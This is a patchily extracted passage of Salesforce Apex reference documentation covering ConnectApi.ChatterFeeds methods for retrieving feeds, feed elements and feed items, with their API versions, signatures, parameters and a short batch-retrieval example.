Returns the feed for the specified feed type in the specified order.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.Feed getFeed(String communityId, ConnectApi.FeedType feedType,
Parameters
communityId
Type: String
feedType
892
and PendingReview.
sortParam
Values are:
If feedType is DirectMessages, sortParam must be LastModifiedDateDesc.
Return Value
getFeed(communityId, feedType, subjectId)

Returns the feed for the specified feed type for the specified user.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
String subjectId)
Parameters
communityId
Type: String
feedType
893
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration,
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.
subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId
must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId
can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.
Return Value
getFeed(communityId, feedType, subjectId, sortParam)

Returns the feed for the specified feed type for the specified user, in the specified order.
API Version
28.0

32.0
Requires Chatter
Yes
Signature
String subjectId, ConnectApi.FeedSortOrder sortParam)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
894
sortParam
Values are:
Return Value
getFeedDirectory(String)
Returns a list of all feeds available to the context user.
API Version
30.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedDirectory getFeedDirectory(String communityId)
Parameters
communityId
Type: String
Return Value
Type: ConnectApi.FeedDirectory
getFeedElement(communityId, feedElementId)
Returns information about the specified feed element.
895
API Version
31.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement getFeedElement(String communityId, String
feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.FeedElement
getFeedElement(communityId, feedElementId, commentSort)

Get a feed element with sorted comments.
API Version
41.0

41.0
Requires Chatter
Yes
Signature
feedElementId, ConnectApi.FeedCommentSortOrder commentSort)
896
Parameters
communityId
Type: String
feedElementId
Type: String
commentSort
Specifies the order of comments.
The default value is CreatedDateLatestAsc.
Return Value
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle)

Returns information about the specified feed element with the specified number of elements per bundle including no more than the
specified number of comments per feed element.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
feedElementId, Integer recentCommentCount, Integer elementsPerBundle)
Parameters
communityId
Type: String
feedElementId
Type: String
897

recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
Return Value
getFeedElement(communityId, feedElementId, recentCommentCount, elementsPerBundle,

commentSort)
Get the feed element with the specified number of elements per bundle including no more than the specified number of sorted comments
per feed element.
API Version
41.0

41.0
Requires Chatter
Yes
Signature
feedElementId, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedCommentSortOrder commentSort)
Parameters
communityId
Type: String
feedElementId
Type: String
recentCommentCount
Type: Integer
898
elementsPerBundle
Type: Integer
commentSort
Specifies the order of comments.
The default value is CreatedDateLatestAsc.
Return Value
getFeedElementBatch(communityId, feedElementIds)
Get information about the specified list of feed elements. Returns errors embedded in the results for feed elements that couldn’t be
loaded.
API Version
31.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getFeedElementBatch(String communityId,
List<String> feedElementIds)
Parameters
communityId
Type: String
feedElementIds
Type: String
A list of up to 500 feed element IDs.
899
Return Value
Type: BatchResult[]
The BatchResult getResults() method returns a ConnectApi.FeedElement object.
getFeedElementPoll(communityId, feedElementId)
Returns the poll associated with the feed element.
API Version
32.0

32.0
Requires Chatter
Yes
Signature
public static ConnectApi.PollCapability getFeedElementPoll(String communityId, String
feedElementId)
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
Type: ConnectApi.PollCapability
If the feed element doesn’t support this capability, the return value is ConnectApi.NotFoundException.
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
getFeedElementsFromBundle(communityId, feedElementId)
Returns the first page of feed-elements from a bundle.
900
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
Parameters
communityId
Type: String
feedElementId
Type: String
Return Value
getFeedElementsFromBundle(communityId, feedElementId, pageParam, pageSize,

elementsPerBundle, recentCommentCount)
Returns the feed elements on the specified page for the bundle. Each feed element includes no more than the specified number of
comments. Specify the maximum number of feed elements in a bundle.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromBundle(String communityId,
String feedElementId, String pageParam, Integer pageSize, Integer elementsPerBundle,
Integer recentCommentCount)
Parameters
communityId
Type: String
901

feedElementId
Type: String
pageParam
Type: String
pageSize
Type: Integer
elementsPerBundle
Type: Integer
recentCommentCount
Type: Integer
Return Value
Returns the first page of feed elements from the Company, DirectMessageModeration, DirectMessages, Home,
Moderation, and PendingReview feed types. The page contains the default number of items.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFeed(String communityId,
902
Parameters
communityId
Type: String
feedType
and PendingReview.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, result)

Returns the feed items for the specified page for the Company, DirectMessageModeration, DirectMessages, Home,
Moderation, and PendingReview feed types, in the specified order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
903
Parameters
communityId
Type: String
feedType
and PendingReview.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
904
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam)
Returns the feed elements for the specified page for the Company, DirectMessageModeration, DirectMessages, Home,
Moderation, and PendingReview feed types, in the specified order. Each feed element contains no more than the specified
number of comments.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays
custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also
displays custom recommendations, but hides some system-generated updates from records.
pageParam
Type: String
905
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, filter)
Returns the feed elements for the specified page for the Home feed type, with the specified filter in the specified order. Each feed
API Version
32.0

32.0
906
Requires Chatter
Yes
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
Parameters
communityId
Type: String
feedType
The type of feed. The only valid value is Home.
recentCommentCount
Type: Integer
density
pageParam
Type: String
When the sortParam is MostViewed, you must pass in null for the pageParam.
pageSize
Type: Integer
When the sortParam is MostViewed, the pageSize must be a value from 1 to 25.
sortParam
Values are:
907

filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
• AllQuestions—Feed elements that are questions.
• AuthoredBy—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
• CommunityScoped—Feed elements that are scoped to communities. Currently, these feed elements have a User or a Group
parent record. However, other parent record types could be scoped to communities in the future. Feed elements that are always
visible in all communities are filtered out. This value is valid only for the UserProfile feed.
• QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with
them. This value is valid only for users with the Access Einstein-Generated Answers permission.
• QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate
answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers
permission.
• Read—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements
when the context user joined the group. This value is valid only for the Record feed of a group.
• SolvedQuestions—Feed elements that are questions and that have a best answer.
• UnansweredQuestions—Feed elements that are questions and that don’t have any answers.
• UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but
have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers
permission.
• Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid
only for the Record feed of a group.
• UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter,
result)
908

Returns the first page of feed elements for any feed type other than Company, DirectMessageModeration, DirectMessages,
Filter, Home, Landing, Moderation, and PendingReview, for the specified user or record. The page contains the default
number of elements.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
Return Value
Usage
909
Example for Getting the Context User’s News Feed

Example for Getting Another User’s Profile Feed

ConnectApi.FeedType.UserProfile, '005R0000000HwMA');
Example for Getting Another User’s Record Feed

ConnectApi.FeedType.Record, '005R0000000HwMA');
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam)
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview, in the specified order.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
910

feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
The number of feed elements per page.
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
911
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam)
DirectMessages, Filter, Home, Landing, Moderation, and PendingReview, in the specified order. Each feed
API Version
31.0

31.0
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
912
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
913

density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed elements on the specified page for the specified record feed (including groups) in the specified order. Each feed element
includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-community)
users only.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly)
Parameters
communityId
Type: String
feedType
Value must be ConnectApi.FeedType.Record.
subjectId
Type: String
Any record ID, including a group ID.
recentCommentCount
Type: Integer
density
914
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
showInternalOnly
Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
Usage
SEE ALSO:
sortParam, showInternalOnly, result)

density, pageParam, pageSize, sortParam, filter)
Returns the specified page of feed elements for the UserProfile feed.
915
API Version
35.0

35.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
feedType
Value must be ConnectApi.FeedType.UserProfile.
subjectId
Type: String
The ID of any user. To specify the context user, use the user ID or the alias me.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
916
sortParam
Values are:
filter
Value must be ConnectApi.FeedFilter.CommunityScoped or ConnectApi.FeedFilter.AuthoredBy.
Return Value
Usage
Example
This example gets only community-specific feed elements.
ConnectApi.FeedType.UserProfile, 'me', 3, ConnectApi.FeedDensity.FewerUpdates, null, null,
ConnectApi.FeedSortOrder.LastModifiedDateDesc, ConnectApi.FeedFilter.CommunityScoped);
SEE ALSO:
sortParam, filter, result)

density, pageParam, pageSize, sortParam, customFilter)
Returns the specified page of filtered feed elements from the case feed.
917
API Version
40.0

40.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, String customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
918
sortParam
Values are:
customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.
Return Value
Usage
SEE ALSO:
sortParam, customFilter, result)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly)
users only. Specify the maximum number of feed elements in a bundle.
API Version
31.0

31.0
919
Requires Chatter
Yes
Signature
elementsPerBundle, ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
920
Values are:
showInternalOnly
Type: Boolean
false.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density, pageParam,
pageSize, sortParam, showInternalOnly, result)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter)
users only. Specify the maximum number of feed elements in a bundle and the feed filter.
API Version
32.0

32.0
Requires Chatter
Yes
921
Signature
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter
filter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
922
showInternalOnly
Type: Boolean
false.
filter
permission.
permission.
Return Value
923
Usage
SEE ALSO:
pageSize, sortParam, showInternalOnly, filter, result)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
customFilter)
Returns the filtered feed elements on the specified page for the case feed in the specified order.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, String customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
924
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
showInternalOnly
Type: Boolean
false.
customFilter
Type: String
925
Return Value
Usage
SEE ALSO:
pageSize, sortParam, showInternalOnly, customFilter, result)

Returns the first page of feed elements for the specified user and the specified key prefix.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeed(String
communityId, String subjectId, String keyPrefix)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.
Return Value
926
Usage
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,

sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order.
API Version
31.0
Requires Chatter
Yes
Signature
communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize,
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
pageParam
Type: String
pageSize
Type: Integer
927
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,

elementsPerBundle, density, pageParam, pageSize, sortParam)
Returns the specified page of feed elements for the specified user and the specified key prefix, in the specified order. Each feed element
contains no more than the specified number of comments.
API Version
31.0
Requires Chatter
Yes
Signature
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
928
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
929
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density,
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the specified user and the specified key prefix. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter.
API Version
31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount, Integer
String updatedSince)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
930
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
An opaque token defining the modification time stamp of the feed and the sort order.
The updatedSince parameter doesn’t return feed elements that are created in the same second as the call.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle,
density, pageParam, pageSize, updatedSince, result)
931
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, updatedSince)
Returns the specified page of feed elements for the Company, DirectMessageModeration, Home, and Moderation feed
types. Includes only feed elements that have been updated since the time specified in the updatedSince parameter. Each feed
API Version
31.0

31.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElementPage getFeedElementsUpdatedSince(String communityId,
String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values are Company, DirectMessageModeration, Home, and Moderation.
recentCommentCount
Type: Integer
density
pageParam
Type: String
932
pageSize
Type: Integer
updatedSince
Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. Retrieve this token
from the updatesToken property of the ConnectApi.FeedElementPage response body.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
result)
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the Home feed type with the specified feed filter. Includes only feed elements that have
been updated since the time specified in the updatedSince parameter. Each feed element contains no more than the specified
number of comments.
API Version
32.0

32.0
Requires Chatter
Yes
Signature
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter)
933
Parameters
communityId
Type: String
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
filter
934

permission.
permission.
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
filter, result)
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,

Returns the specified page of feed elements for the Files, Groups, News, People, and Record feed types. Includes only feed
elements that have been updated since the time specified in the updatedSince parameter. Each feed element contains no more
than the specified number of comments.
API Version
31.0

31.0
Requires Chatter
Yes
935
Signature
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)
Parameters
communityId
Type: String
feedType
One of these values:
• Files
• Groups
• News
• People
• Record
subjectId
Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
936
Return Value
Usage
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, result)

density, pageParam, pageSize, updatedSince, showInternalOnly)
Returns the specified page of feed elements for the Record feed type. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter. Specify whether to return feed elements posted by internal (non-community) users
only.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince,
Boolean showInternalOnly)
Parameters
communityId
Type: String
937
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-community) users (true), or not (false). The default value is
false.
Return Value
938
Usage
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)

elementsPerBundle, density, pageParam, pageSize, updatedSince, filter)
Returns the specified page of feed elements for the UserProfile feed. Includes only feed elements that have been updated since
the time specified in the updatedSince parameter. Use this method to filter the UserProfile feed to include only feed elements
that are scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements
scoped to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in
the future.
API Version
35.0

35.0
Requires Chatter
Yes
Signature
String updatedSince, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
939
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
filter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are
scoped to communities. Feed elements that are always visible in all communities are filtered out. Currently, feed elements scoped
to communities have a User or a Group parent record. However, other parent record types could be scoped to communities in the
future.
Return Value
940
Usage
SEE ALSO:
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, elementsPerBundle, density,
pageParam, pageSize, updatedSince, filter, result)

elementsPerBundle, density, pageParam, pageSize, updatedSince, customFilter)
Returns the specified page of filtered feed elements from the case feed. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
String updatedSince, String customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
941
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
customFilter
Type: String
Return Value
Usage
SEE ALSO:
pageParam, pageSize, updatedSince, customFilter, result)
942

elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly)
only. Specify the maximum number of feed elements in a bundle.
API Version
31.0

31.0
Requires Chatter
Yes
Signature
String updatedSince, Boolean showInternalOnly)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
943
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
Return Value
Usage
SEE ALSO:
pageParam, pageSize, updatedSince, showInternalOnly, result)

elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly,
filter)
only. Specify the maximum number of feed elements in a bundle and the feed filter.
944
API Version
32.0

32.0
Requires Chatter
Yes
Signature
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
945
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
filter
permission.
permission.
Return Value
946
Usage
SEE ALSO:
pageParam, pageSize, updatedSince, showInternalOnly, filter, result)

elementsPerBundle, density, pageParam, pageSize, updatedSince, showInternalOnly,
customFilter)
Returns the specified page of filtered feed elements from the case feed. Includes only feed elements that have been updated since the
time specified in the updatedSince parameter.
API Version
40.0

40.0
Requires Chatter
Yes
Signature
String updatedSince, Boolean showInternalOnly, String customFilter)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
947
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
customFilter
Type: String
Return Value
948
Usage
SEE ALSO:
pageParam, pageSize, updatedSince, showInternalOnly, customFilter, result)
getFeedItem(communityId, feedItemId)
Returns a rich description of the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElement(communityId, feedElementId).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem getFeedItem(String communityId, String feedItemId)
Parameters
communityId
Type: String
feedItemId
Type: String
Return Value
Type: ConnectApi.FeedItem
949
getFeedItemBatch(communityId, feedItemIds)
Returns information about the specified list of feed items. Returns a list of BatchResult objects containing
ConnectApi.FeedItem objects. Errors for feed items that can't be loaded are returned in the results.
API Version
31.0–31.0
Important: In version 32.0 and later, use getFeedElementBatch(communityId, feedElementIds).
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] getFeedItemBatch(String communityId, List<String>
feedItemIds)
Parameters
communityId
Type: String
feedItemIds
Type: List<String>
A list of up to 500 feed item IDs.
Return Value
Type: ConnectApi.BatchResult[]
The ConnectApi.BatchResult.getResult() method returns a ConnectApi.FeedItem object.
Example
// Create a list of feed items.
ConnectApi.FeedItemPage feedItemPage = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(null,
ConnectApi.FeedType.Company);
System.debug(feedItemPage);
// Create a list of feed item IDs.

List<String> feedItemIds = new List<String>();
for (ConnectApi.FeedItem aFeedItem : feedItemPage.items){
feedItemIds.add(aFeedItem.id);
}
// Get info about the feed items in the list.

ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterFeeds.getFeedItemBatch(null,
feedItemIds);
950
for (ConnectApi.BatchResult batchResult : batchResults) {

if (batchResult.isSuccess()) {
// Operation was successful.
// Print the header for each feed item.
ConnectApi.FeedItem aFeedItem;
if(batchResult.getResult() instanceof ConnectApi.FeedItem) {
aFeedItem = (ConnectApi.FeedItem) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(aFeedItem.header.text);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}
Returns the first page of feed items for the Company, Home, and Moderation feed types. The page contains the default number
of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType).

31.0 only
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
Parameters
communityId
Type: String
feedType
951
and PendingReview.
Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, result)

Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
and PendingReview.
952
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam,

Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed item contains no more than the specified number of comments.
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam).
953

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
954

Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)

Returns the first page of feed items for the specified feed type, for the specified user or record. The page contains the default number
of items.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
955

feedType
subjectId
Type: String
Return Value
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order.
API Version
28.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam).

31.0 only
Requires Chatter
Yes
956
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
957
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density,

pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order. Each feed
API Version
29.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
958
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
Return Value
959
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
result)
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density,

pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed items on the specified page for the specified user or record, for the Record feed type in the specified order. Each
feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
API Version
30.0–31.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly).

31.0 only
Requires Chatter
Yes
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
960

recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
showInternalOnly
Type: Boolean
false.
Return Value
961
Usage
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly, result)

Returns the first page of feed items for the specified user and the specified key prefix. The page contains the default number of items.
API Version
28.0–31.0
